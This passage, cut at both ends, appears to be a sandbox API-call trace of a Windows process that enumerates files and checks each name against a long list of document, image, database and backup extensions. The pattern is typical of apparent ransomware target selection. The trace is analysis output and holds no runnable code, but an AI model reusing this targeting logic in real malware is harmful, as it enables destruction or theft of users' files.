-1 [0272.739] lstrlenW (lpString=".anim") returned 5 [0272.739] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0272.739] lstrlenW (lpString=".arw") returned 4 [0272.739] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0272.739] lstrlenW (lpString=".as") returned 3 [0272.739] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0272.739] lstrlenW (lpString=".asa") returned 4 [0272.739] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0272.739] lstrlenW (lpString=".asc") returned 4 [0272.739] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0272.739] lstrlenW (lpString=".ascx") returned 5 [0272.740] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0272.740] lstrlenW (lpString=".asm") returned 4 [0272.740] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0272.740] lstrlenW (lpString=".asmx") returned 5 [0272.740] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0272.740] lstrlenW (lpString=".asp") returned 4 [0272.740] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0272.740] lstrlenW (lpString=".aspx") returned 5 [0272.740] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0272.740] lstrlenW (lpString=".asr") returned 4 [0272.740] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0272.740] lstrlenW (lpString=".asx") returned 4 [0272.740] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0272.740] lstrlenW (lpString=".avi") returned 4 [0272.740] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0272.740] lstrlenW (lpString=".avs") returned 4 [0272.740] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0272.740] lstrlenW (lpString=".backup") returned 7 [0272.740] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0272.740] lstrlenW (lpString=".bak") returned 4 [0272.741] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0272.741] lstrlenW (lpString=".bay") returned 4 [0272.741] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0272.741] lstrlenW (lpString=".bd") returned 3 [0272.741] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0272.741] lstrlenW (lpString=".bin") returned 4 [0272.741] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0272.741] lstrlenW (lpString=".bmp") returned 4 [0272.741] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0272.741] lstrlenW (lpString=".bz2") returned 4 [0272.741] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0272.741] lstrlenW (lpString=".c") returned 2 [0272.741] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0272.741] lstrlenW (lpString=".cdr") returned 4 [0272.741] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0272.741] lstrlenW (lpString=".cer") returned 4 [0272.741] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0272.741] lstrlenW (lpString=".cf") returned 3 [0272.741] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0272.741] lstrlenW (lpString=".cfc") returned 4 [0272.741] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0272.741] lstrlenW (lpString=".cfm") returned 4 [0272.741] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0272.741] lstrlenW (lpString=".cfml") returned 5 [0272.741] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0272.741] lstrlenW (lpString=".cfu") returned 4 [0272.741] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0272.742] lstrlenW (lpString=".chm") returned 4 [0272.742] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0272.742] lstrlenW (lpString=".cin") returned 4 [0272.742] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0272.742] lstrlenW (lpString=".class") returned 6 [0272.742] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0272.742] lstrlenW (lpString=".clx") returned 4 [0272.742] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0272.742] lstrlenW (lpString=".config") returned 7 [0272.742] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0272.742] lstrlenW (lpString=".cpp") returned 4 [0272.742] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0272.742] lstrlenW (lpString=".cr2") returned 4 [0272.742] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0272.742] lstrlenW (lpString=".crt") returned 4 [0272.742] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0272.742] lstrlenW (lpString=".crw") returned 4 [0272.742] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0272.742] lstrlenW (lpString=".cs") returned 3 [0272.742] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0272.742] lstrlenW (lpString=".css") returned 4 [0272.742] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0272.742] lstrlenW (lpString=".csv") returned 4 [0272.743] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0272.743] lstrlenW (lpString=".cub") returned 4 [0272.743] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0272.743] lstrlenW (lpString=".dae") returned 4 [0272.743] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0272.743] lstrlenW (lpString=".dat") returned 4 [0272.743] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0272.743] lstrlenW (lpString=".db") returned 3 [0272.743] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0272.743] lstrlenW (lpString=".dbf") returned 4 [0272.743] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0272.743] lstrlenW (lpString=".dbx") returned 4 [0272.743] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0272.743] lstrlenW (lpString=".dc3") returned 4 [0272.743] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0272.743] lstrlenW (lpString=".dcm") returned 4 [0272.743] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0272.744] lstrlenW (lpString=".dcr") returned 4 [0272.745] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0272.745] lstrlenW (lpString=".der") returned 4 [0272.745] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0272.745] lstrlenW (lpString=".dib") returned 4 [0272.745] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0272.745] lstrlenW (lpString=".dic") returned 4 [0272.745] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0272.745] lstrlenW (lpString=".dif") returned 4 [0272.746] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0272.746] lstrlenW (lpString=".divx") returned 5 [0272.746] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0272.746] lstrlenW (lpString=".djvu") returned 5 [0272.746] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0272.746] lstrlenW (lpString=".dng") returned 4 [0272.746] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0272.746] lstrlenW (lpString=".doc") returned 4 [0272.746] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0272.746] lstrlenW (lpString=".docm") returned 5 [0272.746] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0272.746] lstrlenW (lpString=".docx") returned 5 [0272.746] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0272.746] lstrlenW (lpString=".dot") returned 4 [0272.746] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0272.746] lstrlenW (lpString=".dotm") returned 5 [0272.746] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0272.746] lstrlenW (lpString=".dotx") returned 5 [0272.746] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0272.746] lstrlenW (lpString=".dpx") returned 4 [0272.746] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0272.746] lstrlenW (lpString=".dqy") returned 4 [0272.746] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0272.746] lstrlenW (lpString=".dsn") returned 4 [0272.746] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0272.746] lstrlenW (lpString=".dt") returned 3 [0272.746] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0272.746] lstrlenW (lpString=".dtd") returned 4 [0272.747] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0272.747] lstrlenW (lpString=".dwg") returned 4 [0272.747] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0272.747] lstrlenW (lpString=".dwt") returned 4 [0272.747] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0272.747] lstrlenW (lpString=".dx") returned 3 [0272.747] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0272.747] lstrlenW (lpString=".dxf") returned 4 [0272.747] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0272.747] lstrlenW (lpString=".edml") returned 5 [0272.747] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0272.747] lstrlenW (lpString=".efd") returned 4 [0272.747] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0272.747] lstrlenW (lpString=".elf") returned 4 [0272.747] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0272.747] lstrlenW (lpString=".emf") returned 4 [0272.747] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0272.747] lstrlenW (lpString=".emz") returned 4 [0272.747] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0272.747] lstrlenW (lpString=".epf") returned 4 [0272.747] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0272.747] lstrlenW (lpString=".eps") returned 4 [0272.747] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0272.747] lstrlenW (lpString=".epsf") returned 5 [0272.747] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0272.747] lstrlenW (lpString=".epsp") returned 5 [0272.747] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0272.748] lstrlenW (lpString=".erf") returned 4 [0272.748] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0272.748] lstrlenW (lpString=".exr") returned 4 [0272.748] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0272.748] lstrlenW (lpString=".f4v") returned 4 [0272.748] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0272.748] lstrlenW (lpString=".fido") returned 5 [0272.748] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0272.748] lstrlenW (lpString=".flm") returned 4 [0272.748] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0272.748] lstrlenW (lpString=".flv") returned 4 [0272.748] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0272.748] lstrlenW (lpString=".frm") returned 4 [0272.748] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0272.748] lstrlenW (lpString=".fxg") returned 4 [0272.748] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0272.748] lstrlenW (lpString=".geo") returned 4 [0272.748] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0272.748] lstrlenW (lpString=".gif") returned 4 [0272.748] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0272.748] lstrlenW (lpString=".grs") returned 4 [0272.748] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0272.748] lstrlenW (lpString=".gz") returned 3 [0272.748] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0272.748] lstrlenW (lpString=".h") returned 2 [0272.749] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0272.749] lstrlenW (lpString=".hdr") returned 4 [0272.749] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0272.749] lstrlenW (lpString=".hpp") returned 4 [0272.749] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0272.749] lstrlenW (lpString=".hta") returned 4 [0272.749] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0272.749] lstrlenW (lpString=".htc") returned 4 [0272.749] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0272.750] lstrlenW (lpString=".htm") returned 4 [0272.750] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0272.750] lstrlenW (lpString=".html") returned 5 [0272.750] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0272.750] lstrlenW (lpString=".icb") returned 4 [0272.750] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0272.750] lstrlenW (lpString=".ics") returned 4 [0272.750] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0272.750] lstrlenW (lpString=".iff") returned 4 [0272.750] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0272.750] lstrlenW (lpString=".inc") returned 4 [0272.750] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0272.750] lstrlenW (lpString=".indd") returned 5 [0272.750] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0272.750] lstrlenW (lpString=".ini") returned 4 [0272.750] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0272.750] lstrlenW (lpString=".iqy") returned 4 [0272.750] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0272.750] lstrlenW (lpString=".j2c") returned 4 [0272.750] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0272.750] lstrlenW (lpString=".j2k") returned 4 [0272.750] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0272.750] lstrlenW (lpString=".java") returned 5 [0272.750] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0272.750] lstrlenW (lpString=".jp2") returned 4 [0272.750] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0272.750] lstrlenW (lpString=".jpc") returned 4 [0272.750] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0272.750] lstrlenW (lpString=".jpe") returned 4 [0272.750] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0272.750] lstrlenW (lpString=".jpeg") returned 5 [0272.751] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0272.751] lstrlenW (lpString=".jpf") returned 4 [0272.751] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0272.751] lstrlenW (lpString=".jpg") returned 4 [0272.751] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0272.751] lstrlenW (lpString=".jpx") returned 4 [0272.751] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0272.751] lstrlenW (lpString=".js") returned 3 [0272.751] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0272.751] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.751] FindClose (in: hFindFile=0x3315a30 | out: hFindFile=0x3315a30) returned 1 [0272.751] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0272.751] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.751] lstrlenW (lpString="ui-strings.js") returned 13 [0272.751] lstrlenW (lpString=".1cd") returned 4 [0272.751] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0272.751] lstrlenW (lpString=".3ds") returned 4 [0272.751] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0272.751] lstrlenW (lpString=".3fr") returned 4 [0272.751] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0272.752] lstrlenW (lpString=".3g2") returned 4 [0272.752] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0272.752] lstrlenW (lpString=".3gp") returned 4 [0272.752] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0272.752] lstrlenW (lpString=".7z") returned 3 [0272.752] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0272.752] lstrlenW (lpString=".accda") returned 6 [0272.752] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0272.752] lstrlenW (lpString=".accdb") returned 6 [0272.752] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0272.752] lstrlenW (lpString=".accdc") returned 6 [0272.752] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0272.752] lstrlenW (lpString=".accde") returned 6 [0272.752] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0272.752] lstrlenW (lpString=".accdt") returned 6 [0272.752] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0272.752] lstrlenW (lpString=".accdw") returned 6 [0272.752] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0272.752] lstrlenW (lpString=".adb") returned 4 [0272.752] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0272.752] lstrlenW (lpString=".adp") returned 4 [0272.752] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0272.752] lstrlenW (lpString=".ai") returned 3 [0272.752] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0272.752] lstrlenW (lpString=".ai3") returned 4 [0272.752] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0272.752] lstrlenW (lpString=".ai4") returned 4 [0272.752] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0272.752] lstrlenW (lpString=".ai5") returned 4 [0272.752] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0272.753] lstrlenW (lpString=".ai6") returned 4 [0272.753] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0272.753] lstrlenW (lpString=".ai7") returned 4 [0272.753] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0272.753] lstrlenW (lpString=".ai8") returned 4 [0272.753] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0272.753] lstrlenW (lpString=".anim") returned 5 [0272.753] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0272.753] lstrlenW (lpString=".arw") returned 4 [0272.753] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0272.753] lstrlenW (lpString=".as") returned 3 [0272.753] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0272.753] lstrlenW (lpString=".asa") returned 4 [0272.753] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0272.753] lstrlenW (lpString=".asc") returned 4 [0272.753] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0272.753] lstrlenW (lpString=".ascx") returned 5 [0272.753] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0272.753] lstrlenW (lpString=".asm") returned 4 [0272.753] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0272.753] lstrlenW (lpString=".asmx") returned 5 [0272.754] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0272.754] lstrlenW (lpString=".asp") returned 4 [0272.754] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0272.754] lstrlenW (lpString=".aspx") returned 5 [0272.754] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0272.754] lstrlenW (lpString=".asr") returned 4 [0272.754] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0272.754] lstrlenW (lpString=".asx") returned 4 [0272.754] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0272.754] lstrlenW (lpString=".avi") returned 4 [0272.754] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0272.754] lstrlenW (lpString=".avs") returned 4 [0272.754] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0272.754] lstrlenW (lpString=".backup") returned 7 [0272.754] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0272.754] lstrlenW (lpString=".bak") returned 4 [0272.754] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0272.754] lstrlenW (lpString=".bay") returned 4 [0272.754] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0272.754] lstrlenW (lpString=".bd") returned 3 [0272.754] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0272.754] lstrlenW (lpString=".bin") returned 4 [0272.754] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0272.754] lstrlenW (lpString=".bmp") returned 4 [0272.754] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0272.755] lstrlenW (lpString=".bz2") returned 4 [0272.755] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0272.755] lstrlenW (lpString=".c") returned 2 [0272.755] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0272.755] lstrlenW (lpString=".cdr") returned 4 [0272.755] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0272.755] lstrlenW (lpString=".cer") returned 4 [0272.755] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0272.755] lstrlenW (lpString=".cf") returned 3 [0272.755] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0272.755] lstrlenW (lpString=".cfc") returned 4 [0272.755] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0272.755] lstrlenW (lpString=".cfm") returned 4 [0272.755] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0272.755] lstrlenW (lpString=".cfml") returned 5 [0272.755] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0272.755] lstrlenW (lpString=".cfu") returned 4 [0272.755] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0272.755] lstrlenW (lpString=".chm") returned 4 [0272.755] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0272.755] lstrlenW (lpString=".cin") returned 4 [0272.755] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0272.756] lstrlenW (lpString=".class") returned 6 [0272.756] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0272.756] lstrlenW (lpString=".clx") returned 4 [0272.756] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0272.756] lstrlenW (lpString=".config") returned 7 [0272.756] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0272.756] lstrlenW (lpString=".cpp") returned 4 [0272.756] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0272.756] lstrlenW (lpString=".cr2") returned 4 [0272.756] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0272.756] lstrlenW (lpString=".crt") returned 4 [0272.756] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0272.756] lstrlenW (lpString=".crw") returned 4 [0272.756] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0272.756] lstrlenW (lpString=".cs") returned 3 [0272.756] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0272.756] lstrlenW (lpString=".css") returned 4 [0272.756] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0272.756] lstrlenW (lpString=".csv") returned 4 [0272.756] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0272.756] lstrlenW (lpString=".cub") returned 4 [0272.756] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0272.756] lstrlenW (lpString=".dae") returned 4 [0272.756] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0272.756] lstrlenW (lpString=".dat") returned 4 [0272.756] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0272.757] lstrlenW (lpString=".db") returned 3 [0272.757] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0272.757] lstrlenW (lpString=".dbf") returned 4 [0272.757] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0272.757] lstrlenW (lpString=".dbx") returned 4 [0272.757] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0272.757] lstrlenW (lpString=".dc3") returned 4 [0272.757] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0272.757] lstrlenW (lpString=".dcm") returned 4 [0272.757] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0272.757] lstrlenW (lpString=".dcr") returned 4 [0272.757] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0272.757] lstrlenW (lpString=".der") returned 4 [0272.757] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0272.757] lstrlenW (lpString=".dib") returned 4 [0272.757] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0272.757] lstrlenW (lpString=".dic") returned 4 [0272.757] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0272.757] lstrlenW (lpString=".dif") returned 4 [0272.757] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0272.757] lstrlenW (lpString=".divx") returned 5 [0272.757] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0272.757] lstrlenW (lpString=".djvu") returned 5 [0272.757] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0272.757] lstrlenW (lpString=".dng") returned 4 [0272.757] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0272.757] lstrlenW (lpString=".doc") returned 4 [0272.757] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0272.757] lstrlenW (lpString=".docm") returned 5 [0272.758] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0272.758] lstrlenW (lpString=".docx") returned 5 [0272.758] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0272.758] lstrlenW (lpString=".dot") returned 4 [0272.758] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0272.758] lstrlenW (lpString=".dotm") returned 5 [0272.758] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0272.758] lstrlenW (lpString=".dotx") returned 5 [0272.758] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0272.758] lstrlenW (lpString=".dpx") returned 4 [0272.758] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0272.758] lstrlenW (lpString=".dqy") returned 4 [0272.758] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0272.758] lstrlenW (lpString=".dsn") returned 4 [0272.758] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0272.758] lstrlenW (lpString=".dt") returned 3 [0272.758] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0272.758] lstrlenW (lpString=".dtd") returned 4 [0272.758] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0272.758] lstrlenW (lpString=".dwg") returned 4 [0272.758] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0272.758] lstrlenW (lpString=".dwt") returned 4 [0272.758] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0272.758] lstrlenW (lpString=".dx") returned 3 [0272.758] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0272.759] lstrlenW (lpString=".dxf") returned 4 [0272.759] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0272.759] lstrlenW (lpString=".edml") returned 5 [0272.759] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0272.759] lstrlenW (lpString=".efd") returned 4 [0272.759] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0272.759] lstrlenW (lpString=".elf") returned 4 [0272.759] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0272.759] lstrlenW (lpString=".emf") returned 4 [0272.759] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0272.759] lstrlenW (lpString=".emz") returned 4 [0272.759] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0272.759] lstrlenW (lpString=".epf") returned 4 [0272.759] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0272.759] lstrlenW (lpString=".eps") returned 4 [0272.759] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0272.759] lstrlenW (lpString=".epsf") returned 5 [0272.759] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0272.759] lstrlenW 